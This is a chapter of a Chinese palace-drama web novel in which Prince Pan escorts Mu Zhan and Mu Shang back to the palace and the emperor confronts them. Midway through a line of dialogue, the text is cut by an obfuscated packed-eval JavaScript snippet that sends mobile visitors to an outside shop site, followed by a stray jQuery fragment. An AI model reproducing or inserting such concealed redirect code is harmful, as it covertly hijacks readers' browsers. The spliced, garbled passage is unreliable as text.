白符学着她的样子说话:“关你屁事。”
这话说的不关他的事那关谁的事,不管好赖暮凌萱怎么说也算得上他的半个妹妹。
连续奔波好些天,眼见就要到明月国时,白符让隐卫调头往另一个方向驶去,一辆马车停在军营外,士兵见状将手中的长矛指着马车,并让里面的人下来。
白符先是从马车探出脑袋。
“我要见潘王。”
“潘王岂是你想见就能见的。”
白符不急不恼从马车上跳下来,就是朝着营里面大声喊道:“王叔,既然知道我们回来就别躲在里面装作不知道。”
他这一喊,营帐从里面打开,走出来一人,此人身着华服好生贵气,眉眼之间英气逼人,浑身散发着距离感,让人不敢正眼瞧他。
潘王面无表情的穿过士兵走出来,站到白符面前,再扫了眼马车,“既然来了还在马车上作甚,下来。”
暮商从马车上跳下来并未行礼:“潘王。”
潘王轻瞥她一眼,弹指让士兵退下带着二人往营帐走去,直到进入营帐后潘王脸上的表情才稍有缓和,但也依旧严肃。
“如果你俩是来劝本王退兵的那就不要开口,这兵本王是不可能退的,本王要让他就算是在皇宫也不得安宁,他不动本王就不动,他若动,本王定当攻进皇宫让他毫无反手之力。”
白符倒是先笑起来:“王叔,我们来不是劝你撤离的,我们来是想找你把我们送回宫。”
潘王挑眉似乎没太听懂白符的话。
他要回宫自己回去便是,何须他的帮助。
“我知王叔在想什么,我倒是可以随时回去,可她不行,她几月之前就已嫁到北国,这个时候她无缘无故的回宫怕是困难重重,所以王叔,我需要你的帮助。”
听闻后潘王脸上闪过一丝错愕,问道暮商:“你病好了?”
暮商:“如潘王所言,我现在是北国皇帝口中的通缉犯。”
潘王手拍在桌上哈哈大笑,并且大声叫好,“干得好,只是可惜本王没见到他现在的嘴脸,否则本王定是要当面笑话他。”
听他的话像是和褚羽认识一般,而且关系还不浅。
“行,本王现在就把你们送回去,不过。”
白符:“王叔请讲。”
“不过往后本王若是真攻进皇宫,本王是不会放过你们的。”
白符和暮商同时讲道:“我们也不会对您手下留情的。”
两人的话几乎同时说出来,潘王听后笑容更甚,起身披上铠甲拿上长剑佩在腰间,他紧紧握住剑柄:“既然如此还愣着作甚,走,王叔送你们回宫。”
潘王骑在马背上在前引路,暮商他们的马车紧随其后的跟在后面,马车后面跟着浩浩荡荡的士兵,走到明月国城门前。
守着城门的士兵拦住潘王,潘王二话不说就抽出剑把人给杀死。
“不知好赖的东西,连本王的路也敢拦。”
守着城门的士兵把路让出来放潘王进城,潘王一进城就弄得人心惶惶,都以为潘王杀进来了,大街上的人满街逃窜寻找避身的地方。
城中谁人不知潘王已经在城外三十里的地方驻扎一年有余,甚至接二连三的往皇宫送信,时不时的提醒着宗帝他随时可能会攻进皇宫,让宗帝做好准备。
这事闹得人尽皆知,都把潘王当做活阎王一般看待。
潘王这般大阵仗很快就传到暮宗义耳中,暮宗义身着金黄龙袍走到大殿外,抬头望天而后闭眼。
“这一天终究还是来了,来人召集所有兵马准备行动,把潘王放进来。”
“是。”
暮宗义问道:“暮湛还未回宫吗?”
“回陛下,皇子这半年来从未回来过。”
暮宗义:“呵,他倒是乐得其所逍遥自在,完全不管皇宫不管孤。”
“兴许皇子是有苦衷……”
手下的人这样说暮宗义神色骤然一变,以前暮湛经常出宫他倒是没说过什么,只是自从暮商嫁走后他就再也不曾回宫,难不成是打算一辈子都不回来吗。
暮凌萱也得知消息后和柔贵妃一同赶到暮宗义这里。
“父皇,听说王叔进城了。”
“孤已知晓。”
“那父皇,我们……我去叫哥哥回来,他一定有办法。”
暮宗义反问:“哥哥?你哪个哥哥?是那个文不成,还是那个武不就的哥哥。”
暮凌萱闭住嘴,两个都不是,她指的是暮湛,那个文武双全的暮湛,反正那个讨厌鬼也已经嫁走,说不定现在已经命丧黄泉。
她死后,她将会是暮湛唯一的妹妹。
她就可以代替暮商的位置。
柔贵妃这时开口:“臣妾去把他们两个都找回来。”
“不必,他俩来了还不如不来,凌萱带你母妃回去,孤亲自去接潘王。”
“陛下。”
“父皇。”
两人担心的叫着走远的暮宗义,不管她们怎么叫暮宗义都未回头,柔贵妃没办法就让暮凌萱去找暮寒松和暮长卿。
“母妃,他俩来了也没用,潘王已经进宫了,现在唯一能帮父皇的只有暮湛。”暮凌萱叫出暮湛的名字。
提起暮湛的名字就惹得柔贵妃不开心。
“别跟我提他,他都出宫这么久我看是不打算回来,你去把你那两个哥哥找来,好歹也是他们的父皇,快去找他们俩过去帮你父皇。”柔贵妃执意要让暮凌萱去把两人找回来。
暮凌萱招架不住只能去找那两个废物。
她心中愤愤不平,同样都是父皇的孩子,为什么她的这两个哥哥都是蠢笨如猪。
暮商他们已经走进皇宫内,宫门口没重兵把守,他们就这样畅通无阻的进入皇宫。
白符也就是暮湛他扭头问道暮商:“这暮宗义还想摆王叔一道,不自量力。”
暮商:“暮宗义是谁。”
暮湛耸肩淡定道:“不知道啊。”
行驶的马车最终还是停下来,暮商听到潘王拔剑的声音,就知道他已经碰上暮宗义。
暮宗义站在高处一览无余的看着潘王带进来的兵马,还有那眨眼的马车,他一声冷笑。
“还知道给自己准备放尸首的地方。”
潘王不甘示弱:“陛下说笑了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296773|139803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,要是真打起来,这马车该装谁的尸体还说不定呢。”
暮宗义被潘王的话气到,半天讲不出来一个字。
潘王又道:“本王今日不是来打架的,受人之托给你送人来的。”
“谁?”
潘王没了耐心:“自己下来看看不就知晓,非得浪费口水问。”
暮宗义怕这是潘王的陷阱就站在原地未有所行动,他的侍卫也渐渐逼近潘王那边,随时准备动手。
潘王倒是按兵不动,转眼对马车上的二人道:“再不下来本王可就真准备动手,到时候可别怪本王无情。”
暮宗义同时也看向马车,他想知道马车上是何许人也,居然是潘王亲自送进来的。
话音刚落,暮商和暮湛从马车上走下来,暮宗义这才小跑下来一脸关心问道暮湛:“孤担心你许久你都没告诉孤你去往何处。”
他一来就关心暮湛,完全没记起来一旁的暮商,就连潘王都忍不住想要说上他两句。
“到底是上了年纪眼神不好,这么一大活人是看不见吗?”
经潘王这么一提醒,暮宗义才转头一脸疑惑:“你不是嫁到北国去了吗,怎又突然回来。”
暮商只是轻轻撇他一眼随后收回视线并未理会他,她连话都不想跟他说。暮宗义脸上有些挂不住,找个缘由问潘王。
“他们二人怎会是你送进来的。”
人已送达潘王也是懒的理会他,调转马头带着一众士兵离开皇宫,暮宗义把二人叫到大殿内,询问着他们两个。
如今只有暮湛倒是还愿意与他多说几句,暮商是一句话都不想说。
暮湛:“简单点来说,我是主犯,她是从犯。”
暮宗义不解,只是半年未见两人怎变成逃犯,道:“为何?”
暮湛:“自是因为我闯进皇宫偷了皇帝的东西,还把他们的皇子妃给偷带出来。”
暮宗义难得一见的未发脾气,目光转向暮商,语气中掺杂着复杂的情感:“你的病好了?”
暮商只是点头。
得到回答后暮宗义先是愣住一会儿,很快他从龙椅上走下来,满脸欣喜之意:“好啊,当真是好啊,既然病好后那就不要再去木宫,孤这就让人把你的东西从木宫搬出来。”
木宫就是暮商之前所居住的冷宫。
暮商对暮宗义反应似乎是她没想到的:“你不怪罪于我?”
“孤为何要怪罪你,你的病好父皇自是很高兴,就让那北国的皇帝去找吧,就算他找到明月国来父皇也是不会把你交给他的。”
他的这番话明面是一位父亲对女儿的关心,一方面还是想要圈禁于她,另一方面是看在潘王的面子上。
暮宗义还不知道她会武功的事,所以还以为他能像之前一样稳稳拿捏暮商。
至于他为何这么关心暮湛,是暮宗义一直认为那个高人收的徒弟是他,暮宗义不得不表现出他很关心很喜爱暮湛。
暮宗义他胆小、他怕,因为那个高人曾经说过,若是不对他的徒儿好他必定踩在他的尸骨之上暮宗义知道什么叫做真正的害怕。
其实不然,那个高人收的徒弟是暮商。